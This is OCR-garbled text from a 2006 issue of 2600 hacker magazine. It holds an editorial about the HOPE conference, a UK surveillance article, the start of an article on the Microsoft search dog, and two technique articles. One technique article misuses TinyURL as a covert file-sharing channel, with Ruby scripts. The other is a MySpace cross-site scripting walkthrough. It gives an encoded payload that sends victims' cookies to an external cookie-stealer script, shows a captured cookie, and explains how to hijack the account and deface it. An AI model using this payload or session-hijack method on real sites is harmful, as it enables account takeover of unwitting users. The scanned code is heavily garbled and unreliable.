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This is a very speciaLyear for us as 2006
happens to be an anagram of our name. This
has never happened before and it won't hap­
pen again until 2060. And who knows where
we'll aUbe bythen....

This promises to be an interesting year for
us and our readers for a number of reasons.

First , let's outline some changes taking
place right here in our pages. As of this issue
we're introducing several columns which wi ll
be appearing regularLy in addition to our usual
reader submitt ed articles. Two of these
columns (vlhe Telecom Informer!' and "Techno­
Exegesis") will represent perspectives on
emerging and existing technologies, specifi­
cally issues related to telecom and all sorts of
ot her advances and regressions in technology
- all from the keyboards of a couple of our reg­
ular writers. In addition to this, we are also
debuting a guest column ('!Hacker Perspec­
tive") which takes a different look at the
hacker world from the eyes of someone who 1S
well known in the community.

The idea behind these coLumns is to expand
t he material covered in our pages and to do it
in a moretimelyfashion by aggressively pursu­
ing stories and opinions, instead of simply
waiting for t hem to come to us. We will still
rely primarily on reader contributions to set
t he tone of our pages and to ensure that we
continue to be t he digest of t he hacker com­
munity. It's these voices that make the rest of
the world see what's interesting and relevant
about aU of the stuff t hat fascinates us so
much.

2006 is also t he year of HOPE Number Six.
For the numeroLogists out there, this is also a
bit of fun because it 's the only time the num­
ber of our conference has coincided with the
number of the year. It's unlikely such a con­
junction will ever occur again. So Six will defi­
niteLy be a prevailing theme at t he festivities
this year. Read into t hat what you wi LL.

As for the conference itself, weexpect it to
be even more fun than the Last timewedid t his
in 2004. We'Ube in the traditional space at the
Hotel Pennsylvania in New York City with
plenty of room for all sorts of speakers,
demonstrations, computer setups, vendors,
and whatever else we can come up with. As al­
ways, we want your input in order to make
HOPENumber Six as good as it can possibly be.
That means not only te lling us what you would
like to see but helping to figure out ways to
make amazing things happen. We love it when
outsiders inform us that some goal or project
1Simpossible onlyto watch as the many people
behind the scenes make it happen anyway.
This kind of thing is par for the course wh en
you get a few thousand hackers together
thinking constructively.

It's because of our volunteers that alLof
this has been possible and has grown so much
over the years. In the corporate world. a con­
ference like HO PE(apart from being impossibLe
for a variety of reasons) wouLd easily charge
atte ndees anywhere froma hundred dollars to
a couple of thousand. Why? Because that's how
the corporate world works. 1:'5 all about mak­
ing a profit and not deice a ~ ... ;: .e task unless
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you're well compensated. And we don't have a
problem with their believing this since so
many of them clearly aren't getting anything
else out of what they do. But when putting on
a conference in our community, wegladlywork
our fingers to the bone, stay up for days at a
time, deal with all sorts of challenges and
problems, and charge the bare minimumso we
don't lose a to n of money putting it all to­
gether. We could easily become more corpo­
rate and make a real killing. People suggest
this to us all the time. They even try to win us
over with t heir offers. But the spirit of HOPE
would evaporate in such a setti ng. Ask anyone
who's volunteered to be a part of one of our
conference teams. There is no better feeling
than to know that you played a part in making
such magic occur.

There is still time for you to get involved on
a number of levels. Just check the website
(http:/ / www.hope.net) to see the latest . We'll
be needing network experts, audio/ visual peo­
ple, artists, and a setup crew, just to name a
few. Simply email volunteers@2600.com to
get the ball rolling.

And of course, speakers and panels are
what make the conference t ruly memorable.
Over the years we've had some truly phenome­
nal presentations. As always, we're opening
the doors to the community to get involved.
Email speakers@2600.com if you have a talk
or presentation you'd liketo qive or if you have
an idea for an interesting panel discussion.

We also would like to have more vendors at
HOPE this year. If you think you have some­
thing t hat would interest thousands of hack­
ers, send an email to vendors@2600.com with
deta ils and we'll help set you up. The sooner
the better though as space is limited, huge as
it may be.

Finally, a word to those of you on the
fence. We know aUthe excuses for not bother­
ing to come. "New York City's expensive." "It's
hot in t he summer." "Your country wants to
take my fingerprints." All valid statements.
But there are remedies for each. You can cut
down on expenses dramatically if you're smart
and followthe tips on the HOPE web pages. It's
not that hot in New York, and, if it is, it's nice
and cool at the conference. And as for people
who are timid about coming to the States, we
sympathize. But not coming here because of
the erosion of various liberties negates any­
thing positive you may have gotte n or con­
t ributed during your encounters with so many

like-minded individuals. We've seen bonds
forged at our conferences t hat will last a very
long time and stand a real good chance of
changing society in a most positive way. So
even if you see potential inconveniences, con­
sider that we would never have made it
through the first HOPEif we had let them de­
t ract us from what we really wanted to do.

We thinkthat 2006 has a lot going for it in­
sofar as potential for positive change. People
are waking up, joining forces, speaking out,
and actually making a difference. While things
have admittedly gotten bad on a number of
fronts. the tide will eventually turn. And free
thinking intelligent people who have an un­
derstanding of the tools around them will play
a significant role in moving that tide.

But enough about this year. What will the
real future bring? What developments wi ll oc­
cur between nowand the next anagramyear of
2060? It's hard to even imagine.

Society changes very quickly and when
technology is a factor it can move at lightning
speeds. Just look at the monumental changes
that have ta ken place since we began publish­
ing. But there are always fundamental values
that. while under constant attack, never really
stay away for long. People will always want to
be free. Creative types will always find a wayto
express themselves. And dissidents will always
emerge, no matter how hard the authorities
t ry to sta mp themout.

Being an individual is still one of the hard­
est jobs on the planet. Whether or not to con­
form to one useless sta ndard or another, to
compromise your beliefs in order to make your
life easier, or to face derision for going against
the tide.. . these are the challenges weface on
a daily basis. Butan individual is neveralone.
Throughout the world. and throughout time,
independent thinkers are the ones who make a
difference and the ones who eventually tri­
umph. And whilefew of us may be able to rec­
ognize the world of 2060 on many fronts, we
can guarantee that the free thinkers and mis­
fits wi LL continue to exist in abundance. And
hackers wi LL be among them.

***
P.s . One morething for you numerologists:

Add all of the numbers in the headline
togeth er. Enjoy.
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Filesh
, ,

arlng uSing
by mirrorshades

poj28ae02@sneakemaiL.com
http://neworder.box.sk/

If you already know what tinyurl.com is, t hen
chances are t hat you proba bly have t he wrong
idea as t o what th is article is about. Feel free to
skip ahead to t he good st uff.

If you don't already knowwhat tinyurl.com is,
the n you should check it out. Very simply, it is a
free URL redirection service that Lets you enter a
long URL, and provides a shorter URL that will
aut omatically redirect to it. So you can enter
so met hing like th is :
http ://~~1 . extremetech . com/arti cl e2 /0 ,

_ 1 6 97 ,1153 2 8 4 , 0 0 . a sp
and TinyURL wi ll give you somet hing likethis:

http ://tinyurl. comI 7up

As you can see, the TinyURL version is much
shorter and easier to email (it won't have t he line
break problem), or even write by hand or give out
over t he phone. Ente ring the "tiny" URL in your
browser will give you a 302 redirect to the origi­
nal URL. (Actually, there are two redirects t o get
you t here, but that doesn't affect what we wi lLbe
doi ng .)

That 's it! That's what it does. Pretty st raight­
forward, really. The inte resting thi ng t hat 1found
out is t hat there doesn't seem to be any sort of
URL validation on their end. They assume t hat
whatever you type into t he input box will be
valid, so t hey give you a redirect to it . So if you
type in "1 will haxOr joo!". t hen the resulting
TinyURL redirect wi ll go to http:/ / I will haxOr
joo! (which, obviously, is invalid). What t his
means to you and me is that it willt ake whatever
arbit rary st ring you give it, and give you a nice
short link to it.

What You Will Need
In order to share files via TinyURL, you wi ll

need a few t hings. The tech nique I describe
should be platform-independent, but was tes ted
on a Windows box. It should work t he same way
on whatever OS you like, as long as you can as­
semble t he rest of the tools.

Fi rst and foremost, you will need a web
browser and a text editor. I assume you are smart
enough to handle t hese without any additiona l
explanation.

Next, you will need th e command-line utility
wget. This should come sta ndard with most "nix

installations, but Windows users will need to
grab a copy from the web (see t he download link
at t he end of t he article) .

Finally, you wi ll need a hex editor. This is i m~

porta nt, as your text editor will not give you the
expected resuLts. I like t he Hex Workshop editor
for Windows, but use whichever one you prefer ­
t hey should all wo rk more or less the same way.

HowIt Works
What we will be doing is taking advantage of

t he apparent lack of input checking. We already
know t hat what you type in doesn't have to be a
valid URL, so let 's makeit something useful. Let's
say you have t his fiLe, nekkid_chick.jpg, that you
want to send to your friend overseas. However,
since The Man snoops on alLyour email and 1M
communication, you need a sneakier way to
transfer the file. This is where TinyURLcomes in.

Open nekkid_chick.jpg in your hex editor.
Chances are that you will see a t hree column Lay­
out. The first column is probably the address col­
umn (you can just ignore this for now). The other
two columns should be t he actual byte sequence
and t he ASCII equivalent of the byte sequence in
t he file; for Hex Workshop the middle column is
t he bytes and t he t hird column is t he AS CII. For
this process, we are only interested in t he byte
sequence, not in the ASCII values. This is impor­
tant, and t his is whyjust using a text edit or will
not work for this.

SeLect all t he text in the byte sequence and
copy it to the clipboard. Yo u now have a copy of
the binary version of t he file ready to go some­
where. Can you guess what we do next? Right ~

open your browser and visit tinyurl.com. In t he
middle of the page, you wi LLsee a text box with
t he label "Enter a Long URL to make tiny." Go
ahead and paste the contents of the clipboard
into this box and click t he "Make TinyU RL!" but­
ton. If all goes well, you will be taken to a page
t hat givesyou t he "UR L" t hat you entered and the
resulting short URL. This new URLis t he one to
send to your friend. Congratulations! You have
just stored your file on TinyURL's servers.

Getting t he file back out is more or Less the
same process in reverse but wit h one importa nt
difference. Even though tinyurL. com doesn't
seem to care whether a URLis valid or not, your
web browser does. If you just ente r t he TinyU RL
Link into your preferred browser, it won't know
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what to do with t he full link (the way it handles
t his may differ depending on which browser you
use). This is where wget enters the picture.

Forthose not in the know, wget is a program
t hat acts more or Less as a wayto download web
pages and save them locally. Typing "wget
http.y/www.qooqle.rom/" will get you a com­
plete copy of Google's index.htmL page, nicely
saved on your hard drive. Wget is pretty smart in
that it knows howto handle a web redirect.. . and
this is the key t o ret rieving th e file stored on
TinyURL

To get your fiLe back, get to a command
prompt and type in the following:
wget - 0 logflle_name http://tinyurl.com/

"'y our_lin k_ he r e

What t his wiLLdo is ret rieve the page redi­
rected to by your short url and store the entire
output of the process in a t ext file
("logfile_name" - what you name t his file is
unimporta nt). Open t his logfile in a t ext editor
and you will see t he enti re output of wget. If all
went well, you should see a long string of hex
characters in the mix - this is the byte sequence
for your file. (This byte sequence is actually re­
peated a few times inside the Log file since wget
assumes it is the ta rget URL. )

Now what you need to do is to copy t he com­
plete byte sequence fromyour Log file. The string
"Location: http://'' will be at t he beginning of t he
first sequence, and will be ended by " [follow­
ing]" (there is a space before the first bracket) . If
you're a regular expression kind of qeek, this
should work for you: /Location:
http:\j\j(\w' )j. Ot herwise, you mayjust need
to use your text edito r's search function. Either
way, grab hoLd of the entire byte sequence and
copyit to your clipboard.

Once you have the complete sequence copied,
open up your hex editor and paste it. Again, be
sure that you are pasting into t he byte column,
not th e ASCII column. Save the file as
nekkid_chick_wOOt.jpg and exit your hex editor.
You're done! Thanks to TinyURL, you have now
downloaded a shared picture in a manner not
likeLy to be discovered by t he casual observer.
(Not e t hat even if The Man is able to locate t he
byte sequence, he will stilLneed to figure out
what type of file it is - t his may be easier for some
types of files than for othe rs.)

If all thi s wqet/ copy/hexedit/paste/save non­
sense is too much for you, fear not! Because I got
ti red of doing it that way myself, I wrote two
short programs, "implant" and "extract", which
are designed to automate the process. Have a
Look below for the code and additiona l informa­
tion.

Qut ro
Fo r you nerds who are inte rested in informa­

tion t heory, this met hod of fiLesharing uses what
is called a "covert channel." The US Department
of Defense defines a covert channel as "Any com­
munication channel t hat can be exploited by a
process to transfer information in a manner t hat
violates t he system's security policy" (from t he
Oran ge Book) . What this means to t he layman is
t hat we are using a method of storing and re­
trieving information (1) of a different type and
(2) in a different way t han t he process normally
dictates that we use. (Steganography is anot her
type of covert channel communication t hat you
may be familiar with. Give it some thought - see
where else you can t hink to hide a st ring of
bytes.)

Please use good j udgment wi t h this tech­
nique. I have tested it with a 20k image file and
it works as of t his writing. However, if everyone
starts uploading 800 meg DVD rips, the TinyU RL
folks will likely notice and probably put somesort
of validation or lengt h check on the initial URL. I
have found, t hough, t hat t here are quite a few
URL redirection providers out the re... check t he
Links section for t he Open Directory index page
on that topic. I have not tried any ot hers, but my
guess is t hat there are a number of t hemt hat wi ll
work in t he same way. This is probably best suite d
for smaller files and is rea lLy more proof-of-con­
cept than anything else. Nevertheless, do with it
what you pLease. I wash myhands of you.

Thanks to zshzn for help with t he regular ex­
pression and UziMonkey for help wit h the Ruby
code. Comments or questions, feeL free to emaiL
me (address given above).

ReLat ed Links
• TinyURL: trttp.y/tinvurt.com/
• wget (for Windows): http :/ / unxuti ls.source
-forge.netj
• Hex Workshop: http:/ / www.hexworkshop.com/
• Test JPEG Image File: htt p:// tinyurl.comj84wyu
• Open Directo ry Redirection Provider Listing:
http://ti nyurl.comj3eqr

"Implant" and "Extract"
Those of you who are ast ute enough to use

Ruby are in luck, as I have simplified t he storage
and retrievaLprocess for you. The implant pro­
gram takes a filename as input, t hen converts it
to a binary st ring and posts it to TinyURL return­
ing your new redirect link. The extract program
takes t he end portion of your redirect link (it as­
sumes http:// tinyurL.co m/ at t he beginning, so
all you need to enter is t he part after t he final
sLas h) and writes a file to t he current directory
with t hat as t he name. Yo u will need to rename it
or give it a proper extension on your own to fi­
nalize t he process.
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require 'net / h t tp '

print "File to upload:
source = get s .chomp
r a i s e "No s ource f ou nd. " i f sour c e

bytes = ""
File. open (sour ce , "r b" ) do If I

print "Reading file ... "

f . e ac h_byte do Ibl
#format as hex

bytes « sprintf ( "%02X", b )

e nd

puts "done"
e nd

Net : :HTTP . s t a r t ( " t inyurl . com" ) do I h t t p i

puts "Send i ng file . .. ..

r e sp = http .post (" / create . php· , "u rl=#{bytes} ")

resp . bocty . s c a n ( %r{v a l ue ="h t t p: / /t i ny ur l. com/ ( \ w* ) '' } )
puts "Fi l e # {sQurce } uploaded to ht tp : / /tinyurl .com/#{Sl} ''

e nd

[ e nd code]

e xtrac t.rb

{begin c ode ]
requ ire 'net/http '

p r i n t "Extrac t fil e - - http ://t i ny url. c oml''

t arge t = ge ts .chomp
raise "No t a r ge t found. " if t arge t == " "

Net : : HTTP. s t a r t ( " f o r wa r d i ng. t i ny url.com" ) do [rrt t.p ]

res p = http. ge t ( "/ r e d irec t .php?nu m==# {t a r get}")

i f r esp .code === "3 02" then
puts "Retrievi ng d a t a . . . "

r e sp [ ' location '] ==- %r {h t t p :// (\w* ) }

bytes == $ l .split( /( . . ) / )

bytes. compact !

byte_string == by t e s . pa c k ( " H* "*bytes. lengt h l

puts "c r ea t i ng file # {target} ... "

File.open(target, ' wb ') do I f I
f « byte_string

end

e l s e
raise ~ HTTP #{resp.code } r e ce ive d . Some t h i ng is f ux Ored somewhere . . . "

end
puts "n one i"

e nd
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···xss'III ing MySpace.com
by FxYxlxE

$0 you've probably been on, have seen, or have your own part of the bigge st trend of rece nt Int ern et
times: MySpace.com. It figu res that with such a massive site th at uses so many different types of web ap­
plications that it wilt be vulnerable to multipLe Cross Site Scripting attac ks. If you're not familiar wit h
( ross Site Scripting (XSS or (55 , not to be confused with Cascading Style Sheets), or have forgott en
about them, chec k out the Wikipedia entry about th em. Then meand er on over to PacketSt orm to get
some examp les on other site s to furt her und erstand the concept. BasicaUy what it enables one to do (in
this case) is inject JavaScript into the URl of a site that uses a web application. Which means you can
also put it directlyinto a clickable hyperLink. The scope of this article will only cover using JavaScript
(encoded) directly in the hyperlink to exploit t he vulnerabilities. There are other ways that could work
very well without havingto encode the JavaScript, such as ActionScript in Flash, which I will touch upon
again later.

Thereare various different places in MySpace in which JavaScript can be injected. For example the
"UserSearch" web application URl and t hings like that. Most of them wilLneed to converted and encoded
into hex or some other characters. Usually not all of the JavaScript needs to be encoded, only the
<scripts-type tags. This encoding enables one to bypass MySpace's filters which attempt to avoid XSS.
The wonderful job that it does....

let's move on to some examples and some explanations. First of aLL sign up for a MySpaceaccount.
You will need it if you want this to work. By t he time this is published, this example may have already
been fixed by MySpace. I do not wis h to guide any script kiddies step-by-step into this. so you will be
forced to find your own XSSvulnerabilities byusing the information shown below. You could also use any
method you prefer, possibLy a vulnerability scanner.

Now here is the good stuff, the code, t he implemented link, and the explanation of such.
The vulnerability Lies within the User Search application (a.k.a. Browse).

http : //~earchresu l ts .myspace . com/index . cfm ?fus eaction=advancedFind ,res ults&webs earch

-=1 & spo t ld~3& searchreques t = i 22 i 3E%3Cscript g 3Edocumen t i2Eloca t ion= ' h t tp: //www . your

- s e r v e r . c oml c gi- l o c a l l c o o k i e s tealer .cgi %3F%2 0 ' %2 0 %2Bd oc umc n t . c o o k i e %3Cl s c r i p t %3E

As you can see from the link above, I have much of t he link encoded in hex in order to evade My­
Space's filters, Below is the link wit hout the encoding.
h t tp: / / s e ar c hr e s ul t s . my s p a c c . com/index . c fm?fusea c t i o n=a d v an c e d Fi n d . r e s u l t s&we bsearch
- =1&S po t l d =3 &s e ar c h r e q ue s t = "z- cecr i p t .s-doc nmen c . l o c a t i o n= .h t t p : / / www. y ou rserver .com/
-cgi -lo c a l l c o ok i e s t e a l e r . c gi ? ' +do c ument.cookie<l s c r i p t >

As you can see, the XSS actuallystarts after t he "searchrequest=". The JavaScript is injected directly
into the link, It points to the docum ent location which is just a test site of
http://www.yourserver.com/ cgi-locaVcookiestealer.cgi. Then the JavaScript teLls the CGI script to add
t he current document.cookieto the log file which is stated wit hin t he CGI script .

Once you have successfullyembedded yourJavaScript and you have retrieved someone's cookie, open
up the logger file you stated in t he CGI script. and you will see something along the lines of the follow­
ing, They do vary from user to user, but you only need one part of it.
AGEFROM=16; AGETO=20; AREASEARCH=O: COLLAPSE=O; COUNTRY=US ; DISTANCE=20 ; GENDER=h';
- NODETA I L=l ; ORDERBY=3 ; PHOTOS""'1 ; POSTAL =4 4 13 0 ; STATUS=; AUTOS ONGPLA Y=O; NYS PACE=
- my s pa c e ; NSCOUNTRY=US; REVSCI=1; MYUSERINFO=MIHgB gorBgEEAYI 31"AOxoIHRNIHOBgo r BgEEAY
- I 3WAMBOI GI MI G8AgMCAAECAmYDAg I AwAQI Rl uKtQZHL 4MEEI OKAk k Zuv h e p PPPHs Fn l q 4EgZD4Ws n TYA1BT
- l do Et wRTf RCWTNHRI EU2DOo d f Oq l g 4XAJMm3 z j j 4L Jmfo 9 ZDDw5U3 t r mz u Op Ov e Wn Dj CZSQb 3 z j UH2 v I VX
- i EONn l x 4+1Ll a unAL 3Ui z I J 45 +J i WGpL j g ull uaMZZ6j j z g i Zl l wuCf wY3c KDN5 I Vf FO++k VREQOhD7b 6h 3
- iEbU5XdbxVj r VS N6 4=; DERDB=ZG9 t YWl uPXlh aG9 v JnRs ZDl jb20mc21 vd2VyPTAmc2V4CHJl Zj OxJn
- VOe XBl pTEmcmVs a Wdp b 2 5p ZDOWJ nJ l Z2 l vb j OzOS Zwb 3NOYWx j b 2RI PTOOMTMwJ ml h c m1 0 YWx z dGFOdXf19U
- y ZpbmNvb rrvp ZDOx Jmh l aWd od DOx ODAmZ2Vu ZGvy p u OmZn Jp ZW5k c z OwJ mVOaG5p Y2 1k PTgmYWd l PTE4J mJ v
- ZHI Oe XBl aWQ9Hi Z j aGl s ZHJ l bml k PTEmY2 9 1b nRy e T1 VUy Zk YXRp bmc 9MCZk cml ua2 Vy PTEmZWR1 Y2FOaW9
- ua W0 9MO==; LAS TUSERCL I CX={ t s ' 2 005 - 12 - 2 0 OO:49 :13 '} : FRNDI Dxr2g=2 721774

Thesection you are looking for in this is the MYUSERIN FO portion, which in this case is:
MYUSERINFO=MIHgBgorBgEEAYI3WAOxoIHRl1IHOBgorBgEEAYI3WAHBoIGIMIG8AgMCAAECAmYDAgIA~~

-QIRl uKtQZHL4MEEIOKAkkZuvhepPPPHsFn lq4EgZD4WsnTYA 1 BTl doEtWRTfRC~lTNHRIEU2DOodfDqlg~Y~

-JMm3zj j 4LJmfo9ZDDwSU3trmzUOpQveWnDjCzsQb3zjUH2vIVxiEONnlx4 + l Lla u~AL 3Ui zIJ4 5 +JiWG

-pLjgull uaHZZ 6j j zgi Zl lwuCfwY3CKDNSIVfFO++kVREQOhD 7b6h3iEbU5XdbxVj~VSN6 4 = ;

Pag e j D -----------------------2~DO n a g a zin e



specially modified van. This technoLogy was not
installed on motorcycles. Instead th e motorcycles
form part of an "intercept team."

The vans which are stil l in use today are highly
visible. Some might even say "ANPR" on t he back.
The back of th e vehicle is the bit t hat t hey will
point towards the traff ic. This is done because t he
top panels above t he windows on t he two back
doors hinge upwards revealing two CCTV cameras.
It would appear t hat each camera can manito r two
lanes each, so t his van is normally used on motor­
ways. Wit h these vans t here is normally a large
presence of othe r police vehicles in the area. Mo­
torcycles are most commonly used. These vehicles
will receive a radio ca ll from th e ANPR operator
(who's in t he van) when he/ she gets a "hit" and
t hey will intercept the appropriate vehicle.

The ANPR system in police cars uses a camera
t hat is built into the car. There is no way of identi­
fying if t he system is in use. It is designed t o be
passive and work during normal operation of t he
car. Some older cars use laptops and port able
cameras. Yo u will normally find these cars parked

gdom:

The Stat e of Surveillance
byXen

xenuhdo@gmail.com
As of Autumn 2005 an ANP R (Automatic Nu m­

ber Plate Recog nition) system has been rolled out
across t he United Kingdom, at each of t he 43
forces in En gland and Wales and in some forces
across Scotland. This nation wide system is run
centrally from London and is expected to process
as many as 50 million number plates a day by th e
end of 2006. During processing of th ese number
plates t he information of where and when t hey
were see n will be logged and kept on file for at
least two years.

ANPRis a meth od of using OCR (Optical Charac­
te r Recognition) technology on video or static im­
ages to automatically det ect and read t he number
plate of any vehicle(s) t hat are visible. In the case
of t he UK poLi ce the system reads from live video
feeds and as of Autumn 2005 t he system has been
reading from ((TVcameras nationwide. But years
before this t he police had already implemented a
mobile ANPR syst em. The ANPRsystem would ta ke
video from a camera eit her in a police car or in a

To t est to find your own XSS vulnerabilities in MySpace you can try to use this simple example link to
see if your JavaScript is worki ng (everything after th e "names" portion is t he test) :
h ttp://www.vulnerablewebsite .comlus ers / s ear ch=1 2345&name=<s cript>alert ( "Hello! ") ;
_ </s c r i p t >

Hit worked, an alert box will pop up wit h your message of HeLlo in it.
Now to move on to what you can do with t his newfound cookie and information.
Note: You will need to writ e your own CGI script t hat is used in t he above example. The script basically

logs document.coo kie to a log file. Yo u can easilyfind a t utorial or even a completed one using Google.
Ho pefully by nowyou can t ell what you can do with such a vulnerability, but if you cannot here's th e

brunt of it . You probably noticed my JavaScript was telling an off-site CGI script to retri eve
document.cookie. With someone else's current session cookie from MySpace, you could effectively hijack
t heir MySpace account and session. Wit h IE, Mozilla, or any browser you prefer (that has t he correct
plug-ins), you can copythe user's MYUSERIN FO portion of th eir cookie into your current cookie. After you
do this, all you have to do is refresh the home page of your current MySpace account, and voila, you are
logged in as th e user. Note t hat t he user must be online in order for you to log in as them, unless you
capture t he cookie and set it t o never expire, and have t he means to implement th at.

With the link you generated using JavaScript and th e MySpace XSS vulnerable web application, you
can now send it to your friends (or enemies) and if t hey're online and gullible enough (try a Bulletin),
you can instant ly watch t heir cookie appear in your cookie log file, and th en proceed to log in as t hem.

As stat ed before. ther e ere WJys to get th e Link end JovoScript t o execute w ithout th e user doing
more t han visiting a page on MySpace t hey would normallyvisit , such as their front page, a private mes­
sage, or your MySpace page. This is accomplished by embedding t he "evil" JavaScript and XSS info into a
Flash document containing ActionScript. MySpace only blocks t he <embed> tag on certain parts of its
site.

Note t hat th e cookie you have just stolen also contai ns t he user's password. It is encrypted ... so you
really got more tha n just th eir session. That is if you know what to do wit h it . But t hat is an entire arti­
cle in itself....

Now go have some fun posting obscene pictures on your friends' MySpace. ,0.;'
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up at the side of the road.
The ANPR system in whatever form will do t he

same task. It will "read" the number plates ofvehi­
cles it sees. It wi ll then checkthis number against
the police national computer (PNC), localized in­
telligence databases (and the databases of all the
other forces), and the DVLA(D river and Vehicle li ­
censing Age ncy) databases to check for untaxed
cars, uninsured cars, to see if t he car has been
sto len, and to check if the owner of the car is
wanted.

There is also a certain amount of lowlevel data
mining going on becausethe system can also alert
the police of "cloned" plates, where the same
number plates are being used on different cars. It
does t his by checking t he system for the last few
instances of the car being seen. Obviously if the
system sees the car and the car number plates
were last registered on the database as being 600
miles away an hour ago, the n t here has either
been some serious speeding on the motorist's part
or the plates have been cloned.

The police when "talking up" t his system will
give examples of pulLing over known drug offend­
ers/dealers and finding large amounts of drugs on
them. This tells us that t he system is somehow
connected to t he criminal records system. They
will probably put t he information of known crimi­
naLs in t heir local intelligence database, so that
when their cars appear on the system they can go
fishing and hope they catch something.

One t hing that we can learn from an interview
of Chief Co nstable Meredydd Hughes in The Sun­
day Times 1 is that when they trialed this system
on the M42, t hey used cameras every400 yards. If
they were onLy using t hese cameras for AN PR, t his
would be overkill. They would be checking the
number plates against t he database every 400
yards. They are obviously using this system as a
newspeed camera.

But that was just a t rial on one motorway.
What about the rest of the motorway? Do they all
have ANPR cameras every 400 yards? The national
ANPR coordinator, Joh n Dean, has said that every
motorway in the country has ANPR cam eras at
what he called "strategic points."

Something t hat they also liketo boast about is
their link to petrol stations and supermarkets.
They are linking t hose cameras in some areas to
their system, using their CCTV footage to track
people when t hey fill up or do the shopping.

Some companies like Genesis UK' are offering
ANPR systems for pet roLstations and claimi ng
them to be 'the only systems in t he UKlinked to
police databases."

So that 's ANPR. But they want more! There
have also been calls for "pay-as-you-go" road
charging schemes nationwide by Alistair DarLing,
the Transport Secretary, through which he means
to sneak in a system of "total awareness" in the

form of GPS trackers in every car in the country.
He wants trials of this in five years.

Most worrisom e is that some car insurance
companies here are using this system already to
wo rk out how much insurance to charge you based
on how much, howfar, and wh ere you drive! They
are nowtreating cars like mobile phones with "off­
peak" drivin g wit h "the first 100 off-peak miles
free per month." This system appears to use the
mobile phone netwo rk to transmit its data back to
t he companies involved.

Want to hear more reasons to dump your car?
How about "E-plates" J - RFID tags in your number
plates. If the government trials go welt. every
number plate will contain an RFID tag containing
a "unique encrypted identification number" t hat
can be read at speeds of up to 200 mph at a dis­
t ance of 100 meters away at a rate of 200 cars a
second, whereas ANP Ris unable to read number
plates at speeds greater than 100 mph. This sys­
tem wi ll consist of both fixed location receivers
and mobile units and it wi ll be used to sto p "car
cloning" in t he same way the ANP Rsyste m works.
E-plates is just one compa ny/system t hat is hop­
ing to be picked for t he forthcoming government
t rials of RFID-based number plates. But whichever
company wins it 's the same result for us. They are
going to test this system first on police cars. It's
quite obvious a certain amount of stu pidity has
gone into this plan. I can imagine now a product
for your car that wi ll "detect police cars from 100
meters away."

So now you have sto pped using your car for
fear of being falsely arrested at every turn. You
will probably want to start walking everywhere,
right? At least for short journeys. Well, if I were
you I would take a hat and false moustache be­
cause the next hottest "civi l-liberty-killing" toy is
facial recognition!

Some policeforces (like West Yo rkshire police)
have been using AFR (Automatic Facial Recogni­
tion) to compare images taken from CCTV cameras
where a crime has taken place against a database
of tens of t housands of mugshots, using a system
developed by Aurora Computer Services Ltd. ' .

In 2005 at the Weston Park, Staffordshire for
t he "V Festival," the Staffordshire Police, having
gotten bored with just using the same old ANPR
and "palm-wi pe drug testing" kits on its att en­
dees, decided to go the whole nine yards and scan
their faces as well, looking for "troublemakers" of
course. The database, which was "linked to an in­
telligence database of known offenders! photos,"
returned facial ma tches to officers ' .

Wit h10 cardson the way, wewillprobably have
our faces "mapped" as another way to identify us.
Won't they just love that, a fulldatabase of every­
one in t he country to search against whenever a
crime takes place.

"It is also likely that that facial recognition
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tern s. Don't want to be tracked by ANPR? Don't use
a car. Don't want your face recognized? Wea r a hat
and don't look up at cameras. Don't want your
phone tracked? Don't use one. Don't register your
details or leave it off until you need to use it .
Don't want your iris read? Replace your eyes... or
just use Atropine eye drops which willdilate your
pupils for a couple of days. Tom Cruise's character
in Minon'ty Report could have saved himself a lot
of pain this way.

But what if you have a skin disease t hat has
faded away your fingerprints? Or a cataract? Or
lost your hands in an accident? Ora million other
things that affect parts of your body that are used
in biometric identification. Will you in t he future
be able to do anything in this country? These sys­
tems will breed more discrimination and alienate
the minority groups even more. These systems are
wrong on every level and any advantages the gov­
ernment can come up with - or any elaborate none
in a billion chance" scenario for these systems sav­
ing us from a nuclearatta ck - is just not worth the
invasion of privacyand destruction of civil rights.
[1] http://www.timesonline.co.uk/ newspaper
- / 0" 176-1869818,00.html
[2J htt p://www.guk.co.uk
[3J http:/ /www.e-plate.com
[4J htt p:/ /www.auroraserv.co.uk
[5] http ://www.efestiva ~ . co .u k/news/050807a . shtml

[6J htt p://www.publications.parlia ment .uk/ pa/
- cm200304/ emseteet/emhaff/ 130/ 13007.htm
[7] http://www.identix.com
[8] htt p:/ / news.bbc.co.uk/ 2/hi/uk_news/
-magazine/40 35285.stm
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technology will develop to the point where an in~

dividual captured on a eCTV camera could poten­
tia lly be identified from t he National Identity
Register. Again. we doubt whet her the pressure to
use the system in this way could be resisted for­
ever by future qovemments.". Those are the words
of a House of Commons Home Affairs report from
July 2004 ' .

So in years to come if you happen to have an
uncanny Likeness to someone who 's just been on
Cn'me Watch, expect a knockat t he door.

Meanwhile in Birmingham and Newham they
have for some time now hooked t heir town center
eCTV systems up to a piece of software called
FaceIt ' . FaceIt automatically captures faces
viewed by the e(TV cameras and compares them
with a big database.

There are obviously questions about the accu­
racy of these types of systems and the founder of
Au rora laid them to rest telling t he BBe: "We can't
say it's 100 percent but we've done tests and have
a zero failure rate ." eThat clears that up, t hen.

There are, of course, many moreways t hey can
track you these days. As we know from the after­
math of the London July 7th bombings, they can
and wiLLuse mobile phones to track people. Some­
thing I have not seen yet is remote iris recogni­
tion. They have even developed a system to
identify people by the way they walk (see Auto­
matic Gait Recognition), but not one to read your
iris from a distance. Surely it won't be too long
now.

Ofcourse none of these system work 100 per­
cent and for t hose of us who wish not to be
t racked t here will always be flaws with t hese sys-

by Bryan Elliott
As usual, blah, blah, blah. don't get yourself in

trouble. Not t hat strictlyadhering to a EULA could
usually get you in too much trouble.

This is the story of how I made t he Microsoft
Search Assistant dog into a flatulent beast of, urn ,
finding things. In addition, it's t he story of how I
did it without breaking the EULA. It's effectively
evidence ofthe pointlessness of EULAs in general
in terms of preventing damage to one's image and
copyrights.

I got the idea while trolling around the Slash­
dot forums. Somehow, a post about the ability to
make a scanner play music devolved into a conver­
sation about dogs farting the Star Spangled Ban-

ner (such is Slashdot) to which another poster
said, "If you can make the Microsoft search dog do
that, I'll consider you a God."

I thought to myself, well, I don't know about
the Star Spangled Ban ner, but the re's no reason
good ole Rover shouldn't be able to cut a few.
Maybe I'll ma keout as a mi nor demigod. You know,
spend weekends in the heavens and such.

I did some research. Apparently. Microsoft 's
got some legalese stating that you're not allowed
to reverse engineer an "acs" (Agent Character...
something?) file. So I didn't. Instead. I accepted
the challenge and resorted to plain old deduction.

First. I wanted to find out if the data wascom­
pressed; compressed data can be a bitch to extract
